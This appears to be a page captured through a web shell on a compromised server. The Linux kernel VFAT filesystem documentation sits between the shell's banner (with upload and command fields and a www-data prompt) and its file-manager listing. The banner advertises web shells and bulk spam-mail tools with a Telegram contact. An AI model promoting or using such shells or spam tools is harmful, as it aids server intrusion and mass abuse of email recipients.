__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.79: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>VFAT &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="XFS Filesystem Documentation" href="xfs/index.html" />
    <link rel="prev" title="virtiofs: virtio-fs host&lt;-&gt;guest shared file system" href="virtiofs.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/filesystems/vfat.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="vfat">
<h1>VFAT<a class="headerlink" href="#vfat" title="Link to this heading">¶</a></h1>
<section id="using-vfat">
<h2>USING VFAT<a class="headerlink" href="#using-vfat" title="Link to this heading">¶</a></h2>
<p>To use the vfat filesystem, use the filesystem type ‘vfat’.  i.e.:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mount -t vfat /dev/fd0 /mnt
</pre></div>
</div>
<p>No special partition formatter is required,
‘mkdosfs’ will work fine if you want to format from within Linux.</p>
</section>
<section id="vfat-mount-options">
<h2>VFAT MOUNT OPTIONS<a class="headerlink" href="#vfat-mount-options" title="Link to this heading">¶</a></h2>
<dl>
<dt><strong>uid=###</strong></dt><dd><p>Set the owner of all files on this filesystem.
The default is the uid of current process.</p>
</dd>
<dt><strong>gid=###</strong></dt><dd><p>Set the group of all files on this filesystem.
The default is the gid of current process.</p>
</dd>
<dt><strong>umask=###</strong></dt><dd><p>The permission mask (for files and directories, see <em>umask(1)</em>).
The default is the umask of current process.</p>
</dd>
<dt><strong>dmask=###</strong></dt><dd><p>The permission mask for the directory.
The default is the umask of current process.</p>
</dd>
<dt><strong>fmask=###</strong></dt><dd><p>The permission mask for files.
The default is the umask of current process.</p>
</dd>
<dt><strong>allow_utime=###</strong></dt><dd><p>This option controls the permission check of mtime/atime.</p>
<blockquote>
<div><p><strong>-20</strong>: If current process is in group of file’s group ID,
you can change timestamp.</p>
<p><strong>-2</strong>: Other users can change timestamp.</p>
</div></blockquote>
<p>The default is set from dmask option. If the directory is
writable, utime(2) is also allowed. i.e. ~dmask &amp; 022.</p>
<p>Normally utime(2) checks current process is owner of
the file, or it has CAP_FOWNER capability. But FAT
filesystem doesn’t have uid/gid on disk, so normal
check is too inflexible. With this option you can
relax it.</p>
</dd>
<dt><strong>codepage=###</strong></dt><dd><p>Sets the codepage number for converting to shortname
characters on FAT filesystem.
By default, FAT_DEFAULT_CODEPAGE setting is used.</p>
</dd>
<dt><strong>iocharset=&lt;name&gt;</strong></dt><dd><p>Character set to use for converting between the
encoding is used for user visible filename and 16 bit
Unicode characters. Long filenames are stored on disk
in Unicode format, but Unix for the most part doesn’t
know how to deal with Unicode.
By default, FAT_DEFAULT_IOCHARSET setting is used.</p>
<p>There is also an option of doing UTF-8 translations
with the utf8 option.</p>
</dd>
</dl>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p><code class="docutils literal notranslate"><span class="pre">iocharset=utf8</span></code> is not recommended. If unsure, you should consider
the utf8 option instead.</p>
</div>
<dl>
<dt><strong>utf8=&lt;bool&gt;</strong></dt><dd><p>UTF-8 is the filesystem safe version of Unicode that
is used by the console. It can be enabled or disabled
for the filesystem with this option.
If ‘uni_xlate’ gets set, UTF-8 gets disabled.
By default, FAT_DEFAULT_UTF8 setting is used.</p>
</dd>
<dt><strong>uni_xlate=&lt;bool&gt;</strong></dt><dd><p>Translate unhandled Unicode characters to special
escaped sequences.  This would let you backup and
restore filenames that are created with any Unicode
characters.  Until Linux supports Unicode for real,
this gives you an alternative.  Without this option,
a ‘?’ is used when no translation is possible.  The
escape character is ‘:’ because it is otherwise
illegal on the vfat filesystem.  The escape sequence
that gets used is ‘:’ and the four digits of hexadecimal
unicode.</p>
</dd>
<dt><strong>nonumtail=&lt;bool&gt;</strong></dt><dd><p>When creating 8.3 aliases, normally the alias will
end in ‘~1’ or tilde followed by some number.  If this
option is set, then if the filename is
“longfilename.txt” and “longfile.txt” does not
currently exist in the directory, longfile.txt will
be the short alias instead of longfi~1.txt.</p>
</dd>
<dt><strong>usefree</strong></dt><dd><p>Use the “free clusters” value stored on FSINFO. It will
be used to determine number of free clusters without
scanning disk. But it’s not used by default, because
recent Windows don’t update it correctly in some
case. If you are sure the “free clusters” on FSINFO is
correct, by this option you can avoid scanning disk.</p>
</dd>
<dt><strong>quiet</strong></dt><dd><p>Stops printing certain warning messages.</p>
</dd>
<dt><strong>check=s|r|n</strong></dt><dd><p>Case sensitivity checking setting.</p>
<p><strong>s</strong>: strict, case sensitive</p>
<p><strong>r</strong>: relaxed, case insensitive</p>
<p><strong>n</strong>: normal, default setting, currently case insensitive</p>
</dd>
<dt><strong>nocase</strong></dt><dd><p>This was deprecated for vfat. Use <code class="docutils literal notranslate"><span class="pre">shortname=win95</span></code> instead.</p>
</dd>
<dt><strong>shortname=lower|win95|winnt|mixed</strong></dt><dd><p>Shortname display/create setting.</p>
<p><strong>lower</strong>: convert to lowercase for display,
emulate the Windows 95 rule for create.</p>
<p><strong>win95</strong>: emulate the Windows 95 rule for display/create.</p>
<p><strong>winnt</strong>: emulate the Windows NT rule for display/create.</p>
<p><strong>mixed</strong>: emulate the Windows NT rule for display,
emulate the Windows 95 rule for create.</p>
<p>Default setting is <cite>mixed</cite>.</p>
</dd>
<dt><strong>tz=UTC</strong></dt><dd><p>Interpret timestamps as UTC rather than local time.
This option disables the conversion of timestamps
between local time (as used by Windows on FAT) and UTC
(which Linux uses internally).  This is particularly
useful when mounting devices (like digital cameras)
that are set to UTC in order to avoid the pitfalls of
local time.</p>
</dd>
<dt><strong>time_offset=minutes</strong></dt><dd><p>Set offset for conversion of timestamps from local time
used by FAT to UTC. I.e. &lt;minutes&gt; minutes will be subtracted
from each timestamp to convert it to UTC used internally by
Linux. This is useful when time zone set in <code class="docutils literal notranslate"><span class="pre">sys_tz</span></code> is
not the time zone used by the filesystem. Note that this
option still does not provide correct time stamps in all
cases in presence of DST - time stamps in a different DST
setting will be off by one hour.</p>
</dd>
<dt><strong>showexec</strong></dt><dd><p>If set, the execute permission bits of the file will be
allowed only if the extension part of the name is .EXE,
.COM, or .BAT. Not set by default.</p>
</dd>
<dt><strong>debug</strong></dt><dd><p>Can be set, but unused by the current implementation.</p>
</dd>
<dt><strong>sys_immutable</strong></dt><dd><p>If set, ATTR_SYS attribute on FAT is handled as
IMMUTABLE flag on Linux. Not set by default.</p>
</dd>
<dt><strong>flush</strong></dt><dd><p>If set, the filesystem will try to flush to disk more
early than normal. Not set by default.</p>
</dd>
<dt><strong>rodir</strong></dt><dd><p>FAT has the ATTR_RO (read-only) attribute. On Windows,
the ATTR_RO of the directory will just be ignored,
and is used only by applications as a flag (e.g. it’s set
for the customized folder).</p>
<p>If you want to use ATTR_RO as read-only flag even for
the directory, set this option.</p>
</dd>
<dt><strong>errors=panic|continue|remount-ro</strong></dt><dd><p>specify FAT behavior on critical errors: panic, continue
without doing anything or remount the partition in
read-only mode (default behavior).</p>
</dd>
<dt><strong>discard</strong></dt><dd><p>If set, issues discard/TRIM commands to the block
device when blocks are freed. This is useful for SSD devices
and sparse/thinly-provisioned LUNs.</p>
</dd>
<dt><strong>nfs=stale_rw|nostale_ro</strong></dt><dd><p>Enable this only if you want to export the FAT filesystem
over NFS.</p>
<blockquote>
<div><p><strong>stale_rw</strong>: This option maintains an index (cache) of directory
<em>inodes</em> by <em>i_logstart</em> which is used by the nfs-related code to
improve look-ups. Full file operations (read/write) over NFS is
supported but with cache eviction at NFS server, this could
result in ESTALE issues.</p>
<p><strong>nostale_ro</strong>: This option bases the <em>inode</em> number and filehandle
on the on-disk location of a file in the MS-DOS directory entry.
This ensures that ESTALE will not be returned after a file is
evicted from the inode cache. However, it means that operations
such as rename, create and unlink could cause filehandles that
previously pointed at one file to point at a different file,
potentially causing data corruption. For this reason, this
option also mounts the filesystem readonly.</p>
</div></blockquote>
<p>To maintain backward compatibility, <code class="docutils literal notranslate"><span class="pre">'-o</span> <span class="pre">nfs'</span></code> is also accepted,
defaulting to “stale_rw”.</p>
</dd>
<dt><strong>dos1xfloppy  &lt;bool&gt;: 0,1,yes,no,true,false</strong></dt><dd><p>If set, use a fallback default BIOS Parameter Block
configuration, determined by backing device size. These static
parameters match defaults assumed by DOS 1.x for 160 kiB,
180 kiB, 320 kiB, and 360 kiB floppies and floppy images.</p>
</dd>
</dl>
</section>
<section id="limitation">
<h2>LIMITATION<a class="headerlink" href="#limitation" title="Link to this heading">¶</a></h2>
<p>The fallocated region of file is discarded at umount/evict time
when using fallocate with FALLOC_FL_KEEP_SIZE.
So, User should assume that fallocated region can be discarded at
last close if there is memory pressure resulting in eviction of
the inode from the memory. As a result, for any dependency on
the fallocated region, user should make sure to recheck fallocate
after reopening the file.</p>
</section>
<section id="todo">
<h2>TODO<a class="headerlink" href="#todo" title="Link to this heading">¶</a></h2>
<p>Need to get rid of the raw scanning stuff.  Instead, always use
a get next directory entry approach.  The only thing left that uses
raw scanning is the directory renaming code.</p>
</section>
<section id="possible-problems">
<h2>POSSIBLE PROBLEMS<a class="headerlink" href="#possible-problems" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>vfat_valid_longname does not properly checked reserved names.</p></li>
<li><p>When a volume name is the same as a directory name in the root
directory of the filesystem, the directory name sometimes shows
up as an empty file.</p></li>
<li><p>autoconv option does not work correctly.</p></li>
</ul>
</section>
<section id="test-suite">
<h2>TEST SUITE<a class="headerlink" href="#test-suite" title="Link to this heading">¶</a></h2>
<p>If you plan to make any modifications to the vfat filesystem, please
get the test suite that comes with the vfat distribution at</p>
<p><a class="reference external" href="http://web.archive.org/web/*/http://bmrc.berkeley.edu/people/chaffee/vfat.html">http://web.archive.org/web/*/http://bmrc.berkeley.edu/people/chaffee/vfat.html</a></p>
<p>This tests quite a few parts of the vfat filesystem and additional
tests for new features or untested features would be appreciated.</p>
</section>
<section id="notes-on-the-structure-of-the-vfat-filesystem">
<h2>NOTES ON THE STRUCTURE OF THE VFAT FILESYSTEM<a class="headerlink" href="#notes-on-the-structure-of-the-vfat-filesystem" title="Link to this heading">¶</a></h2>
<p>This documentation was provided by Galen C. Hunt <a class="reference external" href="mailto:gchunt&#37;&#52;&#48;cs&#46;rochester&#46;edu">gchunt<span>&#64;</span>cs<span>&#46;</span>rochester<span>&#46;</span>edu</a> and
lightly annotated by Gordon Chaffee.</p>
<p>This document presents a very rough, technical overview of my
knowledge of the extended FAT file system used in Windows NT 3.5 and
Windows 95.  I don’t guarantee that any of the following is correct,
but it appears to be so.</p>
<p>The extended FAT file system is almost identical to the FAT
file system used in DOS versions up to and including <em>6.223410239847</em>
:-).  The significant change has been the addition of long file names.
These names support up to 255 characters including spaces and lower
case characters as opposed to the traditional 8.3 short names.</p>
<p>Here is the description of the traditional FAT entry in the current
Windows 95 filesystem:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct directory { // Short 8.3 names
        unsigned char name[8];          // file name
        unsigned char ext[3];           // file extension
        unsigned char attr;             // attribute byte
        unsigned char lcase;            // Case for base and extension
        unsigned char ctime_ms;         // Creation time, milliseconds
        unsigned char ctime[2];         // Creation time
        unsigned char cdate[2];         // Creation date
        unsigned char adate[2];         // Last access date
        unsigned char reserved[2];      // reserved values (ignored)
        unsigned char time[2];          // time stamp
        unsigned char date[2];          // date stamp
        unsigned char start[2];         // starting cluster number
        unsigned char size[4];          // size of the file
};
</pre></div>
</div>
<p>The lcase field specifies if the base and/or the extension of an 8.3
name should be capitalized.  This field does not seem to be used by
Windows 95 but it is used by Windows NT.  The case of filenames is not
completely compatible from Windows NT to Windows 95.  It is not completely
compatible in the reverse direction, however.  Filenames that fit in
the 8.3 namespace and are written on Windows NT to be lowercase will
show up as uppercase on Windows 95.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Note that the <code class="docutils literal notranslate"><span class="pre">start</span></code> and <code class="docutils literal notranslate"><span class="pre">size</span></code> values are actually little
endian integer values.  The descriptions of the fields in this
structure are public knowledge and can be found elsewhere.</p>
</div>
<p>With the extended FAT system, Microsoft has inserted extra
directory entries for any files with extended names.  (Any name which
legally fits within the old 8.3 encoding scheme does not have extra
entries.)  I call these extra entries slots.  Basically, a slot is a
specially formatted directory entry which holds up to 13 characters of
a file’s extended name.  Think of slots as additional labeling for the
directory entry of the file to which they correspond.  Microsoft
prefers to refer to the 8.3 entry for a file as its alias and the
extended slot directory entries as the file name.</p>
<p>The C structure for a slot directory entry follows:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct slot { // Up to 13 characters of a long name
        unsigned char id;               // sequence number for slot
        unsigned char name0_4[10];      // first 5 characters in name
        unsigned char attr;             // attribute byte
        unsigned char reserved;         // always 0
        unsigned char alias_checksum;   // checksum for 8.3 alias
        unsigned char name5_10[12];     // 6 more characters in name
        unsigned char start[2];         // starting cluster number
        unsigned char name11_12[4];     // last 2 characters in name
};
</pre></div>
</div>
<p>If the layout of the slots looks a little odd, it’s only
because of Microsoft’s efforts to maintain compatibility with old
software.  The slots must be disguised to prevent old software from
panicking.  To this end, a number of measures are taken:</p>
<blockquote>
<div><ol class="arabic simple">
<li><p>The attribute byte for a slot directory entry is always set
to 0x0f.  This corresponds to an old directory entry with
attributes of “hidden”, “system”, “read-only”, and “volume
label”.  Most old software will ignore any directory
entries with the “volume label” bit set.  Real volume label
entries don’t have the other three bits set.</p></li>
<li><p>The starting cluster is always set to 0, an impossible
value for a DOS file.</p></li>
</ol>
</div></blockquote>
<p>Because the extended FAT system is backward compatible, it is
possible for old software to modify directory entries.  Measures must
be taken to ensure the validity of slots.  An extended FAT system can
verify that a slot does in fact belong to an 8.3 directory entry by
the following:</p>
<blockquote>
<div><ol class="arabic">
<li><p>Positioning.  Slots for a file always immediately proceed
their corresponding 8.3 directory entry.  In addition, each
slot has an id which marks its order in the extended file
name.  Here is a very abbreviated view of an 8.3 directory
entry and its corresponding long name slots for the file
“My Big File.Extension which is long”:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>&lt;proceeding files...&gt;
&lt;slot #3, id = 0x43, characters = &quot;h is long&quot;&gt;
&lt;slot #2, id = 0x02, characters = &quot;xtension whic&quot;&gt;
&lt;slot #1, id = 0x01, characters = &quot;My Big File.E&quot;&gt;
&lt;directory entry, name = &quot;MYBIGFIL.EXT&quot;&gt;
</pre></div>
</div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Note that the slots are stored from last to first.  Slots
are numbered from 1 to N.  The Nth slot is <code class="docutils literal notranslate"><span class="pre">or'ed</span></code> with
0x40 to mark it as the last one.</p>
</div>
</li>
<li><p>Checksum.  Each slot has an alias_checksum value.  The
checksum is calculated from the 8.3 name using the
following algorithm:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>for (sum = i = 0; i &lt; 11; i++) {
        sum = (((sum&amp;1)&lt;&lt;7)|((sum&amp;0xfe)&gt;&gt;1)) + name[i]
}
</pre></div>
</div>
</li>
<li><p>If there is free space in the final slot, a Unicode <code class="docutils literal notranslate"><span class="pre">NULL</span> <span class="pre">(0x0000)</span></code>
is stored after the final character.  After that, all unused
characters in the final slot are set to Unicode 0xFFFF.</p></li>
</ol>
</div></blockquote>
<p>Finally, note that the extended name is stored in Unicode.  Each Unicode
character takes either two or four bytes, UTF-16LE encoded.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/filesystems/vfat.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caching Folder 0755
ext4 Folder 0755
fuse Folder 0755
iomap Folder 0755
nfs Folder 0755
smb Folder 0755
spufs Folder 0755
xfs Folder 0755
9p.html File 24.15 KB 0644
adfs.html File 13.15 KB 0644
affs.html File 18.5 KB 0644
afs.html File 19.14 KB 0644
api-summary.html File 831.83 KB 0644
autofs-mount-control.html File 32.3 KB 0644
autofs.html File 38.96 KB 0644
automount-support.html File 12.79 KB 0644
befs.html File 14.41 KB 0644
bfs.html File 10.72 KB 0644
btrfs.html File 9.7 KB 0644
buffer.html File 48.88 KB 0644
ceph.html File 18.87 KB 0644
coda.html File 65.97 KB 0644
configfs.html File 36.14 KB 0644
cramfs.html File 14.95 KB 0644
dax.html File 25.37 KB 0644
debugfs.html File 21.71 KB 0644
devpts.html File 10.61 KB 0644
directory-locking.html File 23.11 KB 0644
dlmfs.html File 14.28 KB 0644
dnotify.html File 12.09 KB 0644
ecryptfs.html File 11.96 KB 0644
efivarfs.html File 10 KB 0644
erofs.html File 29.42 KB 0644
ext2.html File 32.92 KB 0644
ext3.html File 8.29 KB 0644
f2fs.html File 67.87 KB 0644
fiemap.html File 23.32 KB 0644
files.html File 16.52 KB 0644
fscrypt.html File 107.9 KB 0644
fsverity.html File 64.53 KB 0644
gfs2-glocks.html File 21.71 KB 0644
gfs2-uevents.html File 12.88 KB 0644
gfs2.html File 10.38 KB 0644
hfs.html File 12.31 KB 0644
hfsplus.html File 10.28 KB 0644
hpfs.html File 26.83 KB 0644
idmappings.html File 74.42 KB 0644
index.html File 68.19 KB 0644
inotify.html File 12.35 KB 0644
isofs.html File 12.17 KB 0644
journalling.html File 115.17 KB 0644
locking.html File 52.92 KB 0644
locks.html File 11.91 KB 0644
mount_api.html File 49.94 KB 0644
multigrain-ts.html File 15 KB 0644
netfs_library.html File 86.81 KB 0644
nilfs2.html File 22.21 KB 0644
ntfs3.html File 13.64 KB 0644
ocfs2-online-filecheck.html File 13.13 KB 0644
ocfs2.html File 15.76 KB 0644
omfs.html File 13.12 KB 0644
orangefs.html File 35.89 KB 0644
overlayfs.html File 54.83 KB 0644
path-lookup.html File 123.09 KB 0644
porting.html File 94.09 KB 0644
proc.html File 140.32 KB 0644
qnx6.html File 16.36 KB 0644
quota.html File 12.12 KB 0644
ramfs-rootfs-initramfs.html File 27.94 KB 0644
relay.html File 40.38 KB 0644
resctrl.html File 93.99 KB 0644
romfs.html File 18.06 KB 0644
seq_file.html File 36.49 KB 0644
sharedsubtree.html File 46.25 KB 0644
splice.html File 79.36 KB 0644
squashfs.html File 24.34 KB 0644
sysfs.html File 29.32 KB 0644
tmpfs.html File 22.95 KB 0644
ubifs-authentication.html File 33.04 KB 0644
ubifs.html File 15.06 KB 0644
udf.html File 12.11 KB 0644
vfat.html File 26.07 KB 0644
vfs.html File 167.26 KB 0644
virtiofs.html File 12.16 KB 0644
zonefs.html File 35.71 KB 0644
Filemanager